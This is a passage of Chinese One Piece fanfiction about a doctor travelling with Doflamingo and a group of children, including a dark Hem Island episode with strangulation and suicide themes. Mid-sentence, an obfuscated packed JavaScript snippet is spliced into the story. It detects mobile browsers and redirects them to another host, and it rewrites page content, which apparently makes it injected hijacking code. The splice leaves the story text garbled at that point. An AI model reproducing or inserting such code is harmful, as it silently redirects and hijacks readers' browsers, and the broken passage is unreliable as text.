在他的大蜗牛上混了一觉的多弗朗明哥听说之后,表示正好他也休个假。 热爱事业的火烈鸟要休假?在这么关键的时候? 茵弗玛利瞥了他一眼,没有信他的鬼话。 “呋呋呋呋...别这么看我,医生,我只是很惊讶你来自那个自我封闭的,神叨叨的岛,你好像并不信神。” “我信米森玛丽。” “?那是谁?” “我要先回杰尔玛接孩子们,火烈鸟先生,您要是一定要跟着,就等着帮忙看小孩吧。索拉陛下最近很忙,巴/雷特先生也走了。” “他去哪了?你之前跑了几个月之后他就不在了。” “这我能让您知道?我送他走了。” 去龙那里这种事情是能随便吐露的? 自勇军才起步不久,这家伙要搅和进去准让龙头疼。 自从小王子们能说会跑了之后,巴/雷特好像还真的琢磨出来点啥,至少没看他把山治捏死。他让茵弗给他寻个地方呆一阵子,在需要他之前''别使唤他''。 所以他跟着生命卡送他去了龙那里,他们当时在南海的索尔贝,正在为了当地的解放战斗。他让巴/雷特参加进去。 重新以不一样的方式回到战场之上,是茵弗在观察后给出的新''处方''。 他真切希望着这位子弹先生能治好自己。 不过他叫自己''耗子''这类的名称比重下降了很多,反而''喂''上升。藤壶、老鼠之后的新阶段就是''喂''? 因为他的到来,龙他们吸取了自己的建议,拜托他帮新认识的大熊和金妮重新整顿因为被分割而荒废了太久的南索尔贝。 大熊成了新国王,在那之前他和金妮住在南索尔贝的教堂里,用自己肉球果实的能力弹出他人身上的病痛转移到自己身上来医治穷苦的人们。 很高贵,很伟大。 不过之前的自己并不知道弹出来的伤痛需要被他人吸收,即便如此,没准也真的治得好罗杰。只是罗杰大概不会让别人去承担自己的痛苦。 他在索尔贝呆了两个月,毕竟北海事情太多,没法久留。不过新白城的一部分医生被他招了过来,又从多弗朗明哥那里往这边扯了一条线。 索尔贝的皇太后是个很好的老婆婆,大熊先生和金妮小姐也好,这里不需要分割,不需要话语权的树立,他只需要帮忙推着再次南北融合,焕发生机。 索尔贝是个坚强的国家,他们没问题的。 然后他一个人回了北海。 “我还以为你把他丢在北海,他生气跑了呢。” “这话要是让他听见您就等着脖子被捏断吧。” 多弗朗明哥耸肩,他无所谓,既然是茵弗玛利送走的那么就说明【茵弗玛利】仍然与对方存在联系,那就够了。 至于看孩子,能有多少小孩啊。 太多了。 而且五颜六色。 “好各位!排队的礼仪!记得跟波比打招呼!” 茵弗拍拍手,满意地看着四个大一点的孩子拉着四个小一点的孩子。 山治明显还是生长得慢一些——相较于他的兄弟们异于常人的速度来说——但是跟普通孩子比起来很快了。 他是个很像索拉的孩子,温柔善良,软软的金发,都充满了爱。 有时候茵弗会想如果伽治没有扭转他们的基因,是不是他们都会像索拉一样是金发。 多弗朗明哥僵硬地看着茵弗玛利身后跟着一串叽叽喳喳的小崽子,大的小的,男的女的...嗯?妮可·罗宾? “呋呋呋呋呋...你比我想得更大胆,只能说意料之外,意料之中。” 茵弗疑惑地看他一眼,低头数了一下身边的孩子们。八个是有点... 罗宾感受到了那个高个子的怪人炙热的视线,拉着尼治往茵弗身边缩了缩。 “怎么了小知更鸟?” 茵弗顺着她的视线看了眼多弗朗明哥,拍了一下手。 “哦!来,孩子们,介绍一下,这位是堂吉诃德·多弗朗明哥先生。他要''休假'',所以会跟着我们一起旅行。” 稚嫩的问好声音里,多弗朗明哥看到站在他们身后的茵弗玛利指指罗宾,又指指他,嘴上做了个拉链的手势—— “呋呋呋...” ——然后他比划了一下自己的肩膀位置,做了一个多弗朗明哥很熟悉的,卸人胳膊的动作,对着他狠狠一指后指尖划向海里。 “...呋呋你们好,叫我多弗就好。” 茵弗满意点头,再次拍手。 “好,解散!您们都很熟悉这里了,自己玩去吧!萨奇小先生记得十点半到厨房找我。” 性格真是鲜明,四个彩色的都乌泱泱的跑了,身后匆匆跟着想要照顾的蕾玖和萨奇,罗宾抱着本书,礼貌地说了句''那我走了''就去图书室,罗也抱着书...不过臭着脸用狐疑的眼神看多弗朗明哥。 “总觉得这家伙很讨厌啊...” 茵弗把他推向罗宾的方向让他去看书:“真失礼,小特拉先生,不过他确实不是什么好人。” 罗眯了眯眼睛,试图用眼神向他费劲仰头才能看到脸的男人传达''我盯上你了'',然后小跑几步跟上罗宾。 多弗朗明哥:“呋呋呋...我——” “哎哟!” “山治!” “山治又摔倒了!” 茵弗伸出一根指头示意他稍等,然后匆匆赶到彩色宝宝们身边。 伊治撅着嘴把弟弟拉起来,对着尼治大喊:“让你慢一点!他跑不好啦!” 尼治:“可是摔一下又怎么样啦!” 勇治举手:“巴/雷特说山治会痛!” 茵弗蹲下来,先检查了一下小孩子的皮肤没有在地上蹭破,只是有点发红。然后他揉了揉勇治的绿色脑袋,“没错!勇治小殿下真棒!山治殿下突然摔倒是会痛的,记得痛是什么吗?” 尼治摇摇头,茵弗把他拉过来:“痛就是会很不舒服,比如您的腿要是很痛不能动了,不能跑了...” 尼治:“我不要!” 茵弗点头:“您为什么不想要?记得之前教的吗?” 尼治:“因为...会、会、不能跑会不舒服?” 茵弗:“那种不舒服叫什么?” 尼治:“不开心!” 茵弗又揉揉他的脑袋:“没错!有的时候,您们觉得不痛的事情发生在山治小殿下身上可能是会痛的,比如摔跤。” 尼治嘴角垂了垂,用另一只手摸摸山治的脸:“不舒服,不开心吗?” 山治吸吸鼻子,摇了摇头:“一点点、痛。” 勇治:“尼治要说对不起!对吧!” 茵弗在他脸上亲了一口:“嗯!您记得真好,但是刚刚不止是尼治殿下没有注意山治没有跟上对吗?” 勇治:“哦!山治对不起!” 勇治:“对不起...” 伊治:“对不起,山治。” 山治拍拍自己的小膝盖,眼睛圆圆露出笑容:“没关系!慢一点、好吗?” 茵弗点点头,山治真的很像索拉,那个笑容。等着尼治牵住山治,他又把伊治拉过来。 “小殿下,刚刚您为什么对尼治殿下那么说呢?” 伊治摇摇头:“因为山治摔倒了?” “我看到您拉起来弟弟了,为什么想要拉起他?” 伊治摇摇头:“不知道。” 茵弗轻轻戳戳他的胸口:“见到山治小殿下摔倒什么感觉?” 伊治:“不舒服?不开心!母亲说要互相照顾,看到他站起来就好了。” 茵弗在他肉肉的脸上也亲了一下:“对的!这种感觉叫''担心'',然后您拉起弟弟,感觉好多了,是因为您在''关心''他,您们是兄弟,不想见到他''不开心''''不舒服''。” 伊治点点头把另一只手摸上自己的胸口:“都是心?” 茵弗对着旁边等着的两个孩子招招手,“您们两个可以吗?玩具室上次我让沃尔夫先生扩了,放了柜子里面有零食,但是别给他们吃太多糖好吗?” 他给了两个乖乖点头的孩子一人一个亲吻,然后放他们去玩了。 呼—— 慢慢来吧,现在进展还不错,等他们再长大一点,配合一些神经药物就好了。自己真的没有办法匀给所有人时间,过阵子还要去东海接艾斯他们...在四海呆了几年了,也很想念伟大航路。 一般带着王储们出行,就会多带些人手,蜗牛上的琐事倒是不用他怎么管。所以在小小的身影不见后,他仍然蹲在原地思考着,吹海风,完全忘了自己身后还有个火烈鸟把这一幕尽收眼底。 一只大手伸了过来,手心放着一枚画着菠萝图案的糖。 “呋呋呋呋呋...在头疼吗?鸭妈妈。” 茵弗拿过糖拆开放到嘴里,嗯了一声,起身拍了拍裤子。 “您之前要说什么?” 多弗朗明哥:“忘了。你为什么喜欢菠萝味的糖?” “因为我不喜欢吃菠萝。” “呋?” “不太喜欢口感,刺刺的,但是味道还不赖,吃糖有一种钻空子的得逞感。” “呋呋呋呋呋泡盐水不就好了?” “不要、好麻烦的。反正给我自己吃我是不会主动去弄的。” 两个人并排走向主屋内,既然是休假那么就干脆不要处理工作。茵弗准备打个盹,然后起来给孩子们做午饭。真是奢侈的享受,香克斯买的那一堆毯子全都留给他了,他说什么''我会再买的所以不用担心雷德福斯上没有'',真是太温暖了。 茵弗把鞋子踢掉就往毯子窝里一扑,软绵绵地陷进去之后对着房间角落一指。 “您随意,有书可以看,椅子沙发可以坐,要喝酒去找厨房要,十点二十五分我没醒的话麻烦叫我。” “呋呋呋,好眠,医生。” 一个人读什么书很能反应出这是个什么样的人,多弗朗明哥走到占据了一面墙的书柜前仔细打量,没在那些七杂八杂的书里发现什么规律,顶多是医书多了点——意料之外,意料之中。 他随便抽出一本,拉过一个椅子到落地窗边,故意推拽地很大声,床上的人动都没动。 冷着脸一枪射穿了托雷波尔的''伪装'',让覆着霸气的子弹穿过他身后那个奴隶商贩额头的家伙,和现在软乎乎地像个小动物一样窝在毯子搭成的巢里的家伙居然是同一个人。 多弗朗明哥翻开手里的书,大概是讲某座岛屿历史相关的一些东西,他不太感兴趣,不过打发时间正好。 米森玛丽是谁? 十点半了,多弗朗明哥没叫他,他想看看他会有什么反应。茵弗玛利的反应从来都不让他失望。 过了十分钟,那个眼角带着一道疤的棕发小子敲了敲门,然后探了个脑袋进来,对着多弗朗明哥挥了挥手之后有些犹豫地走到床边——然后被茵弗玛利一把捞到窝里。 “我睡过头啦~不好意思小先生。”他带着刚睡醒的鼻音说,用脑袋蹭着小家伙的脖子,痒得他咯咯笑。 “没关系!我可以自己做!你还要再睡吗?” 茵弗玛利抱着他坐起来,把他放到床下:“不啦,约好了今天要检验你学习做辅食的成果的。” 两个人嘻嘻哈哈地走了,告诉多弗朗明哥晚点来吃饭。 茵弗玛利的反应从来都不让他失望——他表现得就好像他从来都没拜托过他一样。 - “你应该吃饭。” 茵弗转向自己的小学生,接过罗递过来的桃子慢慢地咬。 “我会吃的,保证,晚一点,我刚刚睡醒。” “香克斯让我监督你的。” “我就说嘛,自从他们走了您就一直管着我。新白城怎么样了?” 罗撇撇嘴,这家伙就知道转移话题。 “你不是经常去看吗?很好,布鲁尼尔和索尔贝那边的事情爸爸也说很好。” “安娜女士怎么样?” “妈妈也很好,肚子里的妹妹健康。” 茵弗点点头。 他确实刚刚睡醒,离亨姆岛越来越近这件事让他很不舒服。反正是''假期'',他时隔多年找回了自己的旧习——没事就打盹。 但是自己发呆不是因为刚睡醒的迷糊,是因为刚刚他卧室里的事。 多弗朗明哥不知道怎么回事,明明自己有客房,非得往他的房间里钻,还都是在他准备去小憩一下的时候。 至少他不吵他,茵弗玛利睡觉,他就坐在落地窗旁边的椅子上看书,脚翘在矮桌上挺失礼的。不过茵弗不在乎,自己经常坐在人家办公桌上也挺失礼的,多弗朗明哥太高了,想好好说话费劲。 偶尔多弗朗明哥也坐在椅子上睡觉,晒太阳睡觉是挺舒服的,他也可以理解,要不然为什么他不拉窗帘。 有时候他醒的早一点,有时候对方醒的早一点,都没什么所谓,反正是假期。 不过今天他不是自愿,他被做噩梦的多弗朗明哥吵醒了。 他迷糊间听到他低声喃喃什么,脸上盖着书闷闷的,然后在茵弗摇晃他肩膀的时候猛地直起身子,他对上流淌着恐惧与憎恨的深红色双眼。 第一次,茵弗被他的丝线割伤了,虽然只有短短一瞬,两道伤口。 这让他们都很震惊,他的见闻色和武装色都很强,要不然他不会打得过还有着恶魔果实的多弗朗明哥。茵弗不确定是因为他脑袋里还睡着,还是因为他不知不觉忘了时刻提防这个随时都会暴起伤人的兽。 空气静止了一秒、两秒、三秒,然后时间继续前行。 多弗朗明哥好像要替他擦掉涌出的血,但是手抬起一半就放下;好像要离开,但是迈了几步就停脚;他仓促拿起自己的墨镜,却紧紧捏着没有戴上。 你想要什么,多弗朗明哥。 茵弗拿起他仍然挂在椅子上的粉色羽毛大衣,搭在了自己被多弗朗明哥叫做''小巢''的毯子堆边上,将它筑得更高。 然后他绕到仍然凝固在房间中央不进不退的火烈鸟先生身边,也是第一次,他拥抱了他。 多弗朗明哥很高,茵弗只能抱住他的腰,紧紧地,就像某种禁锢一样。 他没问,多弗朗明哥也没解释,只是任由他抱着,任由茵弗脸上的血渗透他已经被冷汗打湿的西装。 茵弗一步一步前进,被他紧攥的人一步步后退,直到他把他压倒在自己床上,埋进那个还留有余温的巢。 然后茵弗松开了他,起身离开前抽走他的领带丢在床头,取走手里的墨镜放在床头柜上,拉上了窗帘。 他取过桌上看了一半的医书在昏暗的房间里慢慢地念,他记得莫比迪克号上的怀迪贝,还有马尔科,在他睡不好时给他读书。 也许这招真的对他们这种人来说很好用吧。 多弗朗明哥睡着了。 所以他离开房间,处理了从脸一直延伸到锁骨下的伤口后对着海发呆,直到罗来找他。 “你受伤了?” “嗯。很浅,下次换药的时候正好让您来练习,我不在脸上留伤。” 罗啧了一声,绕到他受伤的一侧看了看。 “怎么搞得?是那个粉色羽毛的家伙吗?” “是的。” “我就说他看起来就讨厌吧!” 茵弗把他揽到怀里,把手上沾的一点桃汁蹭到他脸上:“他确实是个坏家伙,不过这次原谅他吧?看在我的份上?” 罗嘟嘟囔囔着陪他看海,茵弗把脑袋搁在了他毛茸茸的帽子上。 在多弗朗明哥醒来后的早上,他默许了罗在对方的饭团里塞了一颗看起来就苦的黑巧。 “臭小鬼...” 罗对着穿西装的男人指指自己手里的笔记:“时不时吃点黑巧力有助于身体健康。” 他们都没提这件事,不过抵达之前的剩余时间他同样默许了这只火烈鸟跟他一起缩在他的窝里睡觉。 他拉上窗帘,把羽毛大衣堆在多弗朗明哥那侧,但是他不拥抱他,他在那只大手很痒地蹭过刚刚结痂的疤上时把对方的胳膊卸了。 多弗朗明哥忍着痛大笑。 - 至于亨姆岛...还是老样子。 他带着一群孩子走上记忆里早已模糊的街道。那些彬彬有礼的,和他脸上带着一模一样笑容的邻人们,对着他们说''愿神保佑您''。 教堂向天堂祝愿的钟声一直都在响,也许是刚到春天的原因吧,死亡才带走一批人去了神的身边。 茵弗戴着手套。 他的记忆力很好,但他不记得海港边新的那位卡拉玛丽,曾经给孤儿院送过鱿鱼的卡拉玛丽大概已经死了。他也不记得那位新的丁克尔约瑟夫、卡斯托姆玛丽;他不记得教堂有这么辉煌,孤儿院有这么残破。 他不记得新的米森玛丽。 但是他记得这个坡普约瑟夫,这个试图把他的米森送上供桌的主教。他老了,皱了,在他的金色袍服和高帽子里像个脱水的葡萄干。但他仍像曾经一样游街,身边围绕着神使。 茵弗靠在砖墙上凝视着这唯一让他熟悉的一根麻绳,其上的纤维一根一根地绽裂。 身旁的孩子们手里拿着特产的鱼饼吃得开心,罗因为也在白城的教会里对这里很好奇,说他想去教堂看看。 为什么不呢? 所以他带他们去了教堂,赶上一场他记不得是什么的仪式,很多蜡烛,很多野花,穿着白裙子的女性们手拉手转圈。 回到波比后,小不点们也手拉着手转圈,嘴里唱着茵弗教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922845|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得哟嚯嚯嚯。 茵弗看了一会儿,让他们早点睡觉,然后再次独自一人踏上亨姆岛,他去找了主教。 多弗朗明哥没有跟着,他看出来他心情不好。他跨坐在栏杆上对着这个人口不多的地方摸着下巴端详。今天跟着转悠一圈,他大概琢磨出点茵弗玛利身上亨姆岛的那股味道了,惯于浮于表面的、还有凝固在骨髓里向死而生的那种东西。 但是不太一样,他大概很小就离开这里了,所以在海上染了七杂八杂的颜色——很好看。 对于茵弗玛利又领回来一个少年他是不例外的,他当然也发现了这个跟了他们一天的金发小子,只不过被拦着没行动而已。 “这是普拉奥菲特约瑟夫,也就是霍金斯先生,霍金斯先生,这是堂吉诃德·多弗朗明哥先生。” “呋呋呋呋呋,叫我多弗就好。” 名叫霍金斯的瘦高少年穿着干净繁复的白衬衫,行了一个优雅的礼仪。大概是教会的某个重要人物吧。 茵弗玛利把他带到多弗朗明哥短暂用过的客房,道了晚安,塌着肩膀如鬼魂一般飘远。 多弗朗明哥动动手指,用微不可见的细线将发型乖巧的少年拎了起来,对上一张冷静的脸。 “呋呋呋呋呋不怕我杀了你?我可没有医生的那种好脾气,包容一个鬼鬼祟祟跟着我们的小鬼。” “占卜显示,我今天会被杀的可能性很低。” 占卜?难怪是这个岛的优秀人才。 “怎么?不愿意做你的神谕了?” “我想出海,这很难,但是那个人身上我算不出任何的0%。所以我问他,他同意了。” “他刚才去哪了?” “教堂。” 多弗朗明哥丢开霍金斯,莫名感到一丝不适。今天不是去过那个地方了吗?他去干嘛了? 他在露台上找到了他,蜷缩在墙边,捂着耳朵看向亨姆岛的方向,指节颤抖发白 ,低声忏悔。 多弗朗明哥垂着嘴角,他像那天茵弗玛利做的一样,沉默着走向他,然后弯下身用力地箍住他的手腕从耳边拿开,在对方下意识踢腿时压在身体两侧,将他笼罩在世界之外。 茵弗玛利看向他,粗重地喘息着,淡金色的睫毛颤抖几下,好像才认出他是谁。他的声音颤抖,如同即将喷发的火山,或者将破碎的寒冰。 “...他跟我说...''自杀者会因罪在地狱里受永恒的折磨''..” “堂吉诃德...我知晓我的不虔诚让神愤怒,但是、我不知道我甚至让她没法去神的身边。” “这世界上没有神,茵弗玛利。” 多弗朗明哥出奇地愤怒,他紧握的手腕跟他比起来是那么的纤细,却蕴含着无比的力量,现在好像却能轻易地被折断,只消再用一分力。 茵弗玛利迷茫地仰头看他,好像没有听见:“自首...算自杀...” “这世界上、没、有、神、” 他的声音大了几分,因姿势而分开在两侧的双手好像被绑在了无形的墙上,月光变成了火焰炙烤他的脊背,身下人用淡金色的利箭射穿他的脾胃,他的眼。 沉默反而带来了暴徒的嘶吼,父亲卑微的祈求,还有罗西南迪的哀鸣。 所以他开口驱散沉默,打破那些徘徊不散的噩梦。 “你想要什么。” “...我想因罪、在地狱里受永恒的折磨。” 多弗朗明哥笑了,真正地笑了。 “没关系,你会下地狱的。” 他终于把他抱了起来,皮鞋清脆的脚步声在深夜里倒计时,他把他埋进那个,因为多弗朗明哥的身高而早就有些破碎的小巢。 他真的想把他埋进去,所以他死死地扼住他的脖子,好让他就这样在这里,长眠在毯子的六尺之下。 “我也会一起。” 茵弗玛利的脸因缺氧而发红,眼神涣散,双手下意识地掐入多弗朗明哥的手腕,但很快就放松下来。然后他也笑了,真正地笑了。 “还好、天堂...和地狱、只有一墙之隔、咳、我敲敲墙、他们就知道我在了...” 那天晚上,多弗朗明哥闭上眼,像一位弑神者一样安宁。 母亲,我敲敲墙,您就知道我在了。 - 北海的冬天来的很早,持续的时间很长。但是那条新的巨蛇不冬眠,让那些曾经希望它早日变迟缓变僵硬的人们失望。它用双头一边与地下的帝王们合作,一边狠狠扼住他们的咽喉。 没人忽视这股势力,它的天平两边售卖死亡与新生、医与毒。 它的身后站着庞然大物,资源,财力,科技,武装力量,它有着一群人信仰般的推崇,带着同样的侵蚀力扩散。在所有人回过神时,它已经成长地无比巨大。 那条阿克塔翁、阿刻罗俄斯——那条【黑曼巴】。 亨姆岛历史以来最伟大的天使,将神的救赎带到人们身边的圣人,打着喷嚏被身旁的人领到教堂。 “干嘛,这里冷死了。” “呋呋呋呋呋,【黑曼巴】的主人怕冷要是传出去,不少人会立刻想办法冻死你的。” “我不是【黑曼巴】的主人。” “还在为我对亨姆岛动手生气,医生?” “霍金斯先生居然也帮着你乱来。” “从神的身边降临人间,抹去伤痛,难道只要经过你的手,小神谕就再也算不出来0%不是事实吗?” “生病能治好当然算不出来,我不需要您扭曲他们的信仰。” “我只是比那个主教更会洗脑,而且不是替你修了孤儿院了吗?” “是是是、太帅气了,要不是修女的爱欲是禁忌,她们都会排队想嫁给您了。” 他们的声音在空无一人的大教堂里的梁柱间回响,在高处变成闷闷的声音,巨大的玻璃彩窗在地上投下斑驳陆离的色彩,多弗朗明哥绕过它们,将手里的人带到圣桌之上。 “干嘛,石台子硬邦邦的,更冷了,而且这是我能坐得?” “呋呋呋呋呋,神父袍的圣洁比任何的白西装都更适合你,医生。” “您再不快点说要干嘛,真正的神父们就要回来了。” “无所谓,他们看到你这个大圣人坐在圣桌上只会觉得美,上面的圆窗可是只能给这一块投下金光。” 茵弗有点无语,这只大鸟又发什么疯。他随意拨弄着身旁的各种礼器圣匣,手指摩挲过那本巨大的圣典。他俩都清楚他没有真的因为多弗朗明哥对着亨姆岛动手动脚生气。毕竟他自己是不会主动去碰的,即使这里是这个世界上最需要医生的地方之一。 他在看到那个穿着金袍的老头子''吊在教堂里自杀''的尸体的时对着那些细线在脖颈上的勒痕发笑。 现在医学在这里也成了某种奇怪的信仰,【黑曼巴】成了某种信仰,信徒们的狂热更是对没见过这种态势的地下势力造成冲击。 某种意义上的双赢,他和多弗朗明哥之间大概一直都是这样,变成了这样——偶尔会饥肠辘辘地互相舔舐伤口的,奇怪的一对朋友。 茵弗抬眼,高高的圣桌上让他不用把头抬的太高就能对上弓着身子,手放在他两侧的男人,他看到墨镜里自己的身影。 “没有人许可我可以坐在这里,这很失礼,火烈鸟先生,我虽然不虔诚,但是我也不想不尊重他们的信仰。” “你现在也是他们的信仰,你不需要神的许可。” 多弗朗明哥在茵弗玛利的震惊里单膝跪地,牵过他放在圣典上的那只手。 “你说得对,医生,你不是黑曼巴的主人,所有人都知道那条双头蛇的驱使者是我。” 茵弗玛利的手很凉,这是体质和季节带来的。多弗朗明哥不介意,他的手不算热,但是足够温暖他们两个。 他狠狠地咬上这只给他带来疼痛,包容,冰冷、温暖的手。这只比他的家族更能让他感到实质性地,支撑着他脊骨的手。 “嘶——您是狗吗?” “呋呋呋呋呋...如果黑曼巴属于我...” 他虔诚地吻去了牙印中渗出的丝丝猩红,茵弗玛利不在脸上留疤,他第一次留下的那道伤早已无痕了,这一次呢? “所以?您想要什么,堂吉诃德。” “呋呋呋...汪?” 茵弗眨眨眼,噗嗤一声笑了出来,充满鲜活的声音洗涮过每一个石柱,每一块斑驳。 他抽出自己的手,捏了捏多弗朗明哥高挺的鼻梁,“别这样,先生,我知道我要走了,但又不是把您丢掉了,您怎么比孩子们还黏人。”他从冰冷的圣桌上跳到多弗朗明哥的怀里,扯过粉红的羽毛大衣盖在自己身上,“走吧,这里真的太冷了,萨奇小先生做了热红酒。” 多弗朗明哥笑了一声,直接把被他扯得歪斜的大衣脱下来裹在他身上,一手拖着他,一手勾起丝线,从投下唯一一缕金光的圆窗里飞了出去。 49.意外的重逢 茵弗带着一些自愿跟他走的人手,开着波比离开了北海。一些医生,一些科研人员,一些杀手,霍金斯跟着多弗朗明哥了,所以两个孩子,还有那个小记者斯嘉丽。 他倒是不着急,准备慢慢晃悠回东海,正好体验爬红土大陆。明明是垂直前行,但是对自己影响不大的感觉还是挺有意思的。 全世界都知道他向杰尔玛的新女王要了一只王国的专属大蜗牛当诊费,摩尔冈斯在收到他这条消息的时候笑得嘎嘎的,起了个无比花哨的标题,报纸大卖。 他在考虑要不要订制个涂装什么的让波比下次上新闻的时候更华丽丽一点,如果巴基见到会很喜欢的那种。 和坐船的感觉不太一样,但是他也习惯了。 厚厚的地毯上,他盘腿坐着,萨奇脑袋靠在他腿上午觉,面前的小姑娘趴着看书,果实能力在身旁翻飞。 轻轻的叩门声后探进来一个扎着麻花辫的脑袋。 “茵弗大人,我要写一篇您进入伟大航路的报道发给社长吗?” 茵弗放下手里乱糟糟的毛线团和图纸,捏了捏酸涩的眼睛——罗宾说闲着没事学了点针织,用自己的能力给身边大大小小的伙伴们织保暖用具,他就是看到她一边看书,身边一堆手在那里绕啊绕啊的场景才凑过来玩玩看。 “不用了,斯嘉丽小姐,要是摩尔冈斯先生又来问您我什么时候再给他一个''大新闻''就告诉他心急的男人掉羽毛。” 自从弗雷凡斯事件后,摩尔冈斯说他在他身上“嗅到了大新闻”,所以安排了那个热衷于报道他的斯嘉丽记者专门跟着他,时刻联系。 其实茵弗觉得他就是嗅到了''钱''的味道,尤其是黑曼巴发展起来之后,他和多弗朗明哥去参加了一次地下帝王们的会晤时那只信天翁狂拍他——各种意义上的。 他倒是不在意,黑曼巴本来就踩着灰色的线游走,全世界都知道他在里面掺和也无所谓,毕竟牵着这条蛇的火烈鸟需要【茵弗玛利】。 而摩尔冈斯最喜欢的就是他不介意那些有关他的新闻是黑色的、白色的,还是灰色的。只要能让他走在信息的最前面,确保自己在拉扯间维持着一个不偏不倚的位置就好。他也会主动让对方发一些消息,真真假假地掺在一起,组成了世人眼中的他。 身旁有罗宾,艾斯,有那么多冬雪下的幼苗,他必须更加小心。 茵弗长出一口气,“我太羡慕您了。” 黑发小女孩歪头:“为什么?” 茵弗:“因为您的能力,我认识一个叫小八的孩子,他有六只手我就很羡慕了。” 罗宾有点不好意思地抿抿嘴,茵弗总是夸奖那些曾经被奥哈拉的居民们嫌弃的东西。 恶心的能力、书呆子的性格、觉得奇怪的东西很可爱这类。 茵弗托着脸颊看了她一会儿,开口道:“您现在还想去死吗?” 罗宾一惊,身边的手噗地消散了,织针掉在地上噼里啪啦。 “我、我、” 萨奇挡在她身前,血糊住眼睛喊着让她快跑;在她生日时,捧着为她做的蛋糕;蕾玖举着小拳头说她要把欺负罗宾姐姐的那些人都打倒;四个小不点跟着她呀呀地念书上的文字,比赛谁能让她夸奖聪明;罗总是在图书室,安静地陪伴,挑她喜欢的零食推过来;在杰尔玛训练战斗时,汗水津津地听到周围的大声鼓励;训练结束后茵弗玛利夸奖的贴纸,乱七八糟;不是白发,却把她像自己的孩子一样照顾的金发女王。 阳光下,被咸咸的泪水打湿的三明治。 ''活下去吧,小知更鸟。'' 回过神,罗宾看着自己一个个弯下的手指,泪水涌上眼眶。 “呜、我是恶魔之子、可是你们都对我很好...” 茵弗招招手,示意她凑过来后搂住她。 “您认为您妈妈是恶魔吗?” 罗宾愣了一下,猛烈地摇头,被一只熟悉的,带着伤疤的手扶住头,微凉的手指擦去她的泪水。 “那么您为什么认为自己是恶魔之子呢?您的父母送给您''妮可·罗宾''的名字,您要放弃它,去选择那些根本不爱您的人给您冠上的称号吗?” 火焰里,留着泪的,多年后才见到的母亲大喊着,被冻结了一半身体,唯一理解她的巨人朋友大喊着—— ''活下去!罗宾!'' 她的故乡毁灭了,她无处可去了。 可是她弯下十根指头了。 罗宾将脸埋进带着药香的怀里,和妈妈的头发一样的白。 “我想、我想去见萨乌罗,想研究历史、我想活着、吃萨奇的蛋糕...” 茵弗拍着她的后背,耐心地听着,身旁的萨奇也坐了起来,努力憋着声音擦眼泪。 哭声止歇吧。 萨奇:“我、我现在就去给你做蛋糕!” 罗宾没意识到他醒了,有些惊讶地转过脸,看到萨奇苦苦的哭脸后破涕为笑。 茵弗也露出笑容:“擦擦眼泪,留点肚子吃伟大包?我们翻过去就到香波地群岛。” “香波地群岛?我们不是去东海吗?” 茵弗:“嗯,不着急。带您们去游乐园玩。” 他真的跟香波地乐园犯冲。 眼前暂停营业的牌子大声嘲笑。 套着袍子的罗宾拉拉他的手安慰道:“我们可以不玩的...” 茵弗深吸一口气,拉着他们走向旁边一位摊主。 “您好,香波地乐园什么时候营业?” 留着大胡子的摊主很热情地一边推荐他卖的棉花糖,一边解释说上次有天龙人来玩,有一个设施出了点小问题,现在被勒令全部返工,装修好了才开放。 反正大概意思就是还得一阵子吧。 哈?天龙人玩的时候出问题还没被整个夷为平地?香波地没炸掉他都意外了。 茵弗无语,买了两个大号棉花糖递给两个小朋友后转向夏琪的酒吧的方向。 玩不了见见人总行吧! “欢迎——啊呀,小茵弗!” 见到熟悉的人让他心里泛起暖意,“好久不见了,夏琪小姐。”他环顾四周,“雷利先生不在吗?” 夏琪摆摆手,跟两个爬上吧台椅的孩子打招呼。 “老雷晚点回来,他给人镀膜去了。” 因为白天没什么客人,她直接挂上了歇业的牌子,给他们一人倒了一杯牛奶,包括茵弗。 “穿着斗篷的小丫头是妮可·罗宾吧?姐姐我不会告发你的哦。” 茵弗也在吧台边坐下,摸摸罗宾的脑袋后替她把帽子摘了下来,顺便扶扶萨奇的椅子让他坐正。 “没事的,小知更鸟。” 夏琪掐掉手里的烟丢在烟灰缸里,有些感慨地说:“长大了啊小茵弗。” 茵弗有点不好意思地挠脸,“嗯...二十一岁了...”,他端起牛奶喝了几口,久违地甜香让他舔舔嘴唇,“不过到您们面前就原形毕露了,在小家伙面前我就装一下~” 他们闲聊了一会儿,又带着小家伙们去商业街玩了一圈,揍了几个差点想把罗宾和萨奇拐走的人贩子,茵弗对着已经没有熟悉面孔的孤儿棚屋发了会儿呆,然后又回了夏琪的酒吧。 雷利还是老样子,强壮的,帅气的,金发长了一点,眼角皱纹多了一点,目光是温和的,包容的。 别哭、茵弗、孩子们还在这里。 他把脑袋从雷利的肩上抬起,狠狠吸了吸鼻子。他已经和雷利差不多高了,可还是想把自己缩得很小,好能停靠在这温暖的港湾。 “好久不见了,小家伙。” 茵弗噗地一声笑了出来,夏琪说他长大了,但是雷利知道他永远都是那个十二岁,连风暴都能吹跑的小家伙。 “嗯!我很想您。” 晚餐是茵弗和萨奇一起做的,卖相不好看,但是温暖,带着一点雷利怀念的,偷偷摸摸的苦涩味道。 昏黄的灯光下,他们围在桌边闲聊,好像真的是一家人了。 “诶——真的假的?露娜茜茜雅?我就说怎么会有天龙人到游乐园玩。” “她也算天龙人里的异类了吧。” 茵弗想起那个,理所当然地享受无知的小天龙人,她的脸在记忆里已经模糊不清了。 不骑奴隶,不叫人贱民,会到游乐园玩,喜欢穿彩色的衣服... 茵弗咋舌,只要不戴泡泡头罩谁知道她是天龙人啊。 谁知道多弗朗明哥会是天龙人啊。 哦,因为一个设施出问题就出钱把整个乐园翻修的财力他还是很羡慕的。 “噗,你缺钱吗,小茵弗?你现在可是风云人物呢,任何一条情报现在都价高得很。” 因为都想摸清楚他站在哪边吗?茵弗在自己的杯子里吐了个泡泡,有些失礼幼稚的行为逗得萨奇笑起来,也用吸管往自己杯子里吐了个泡泡。 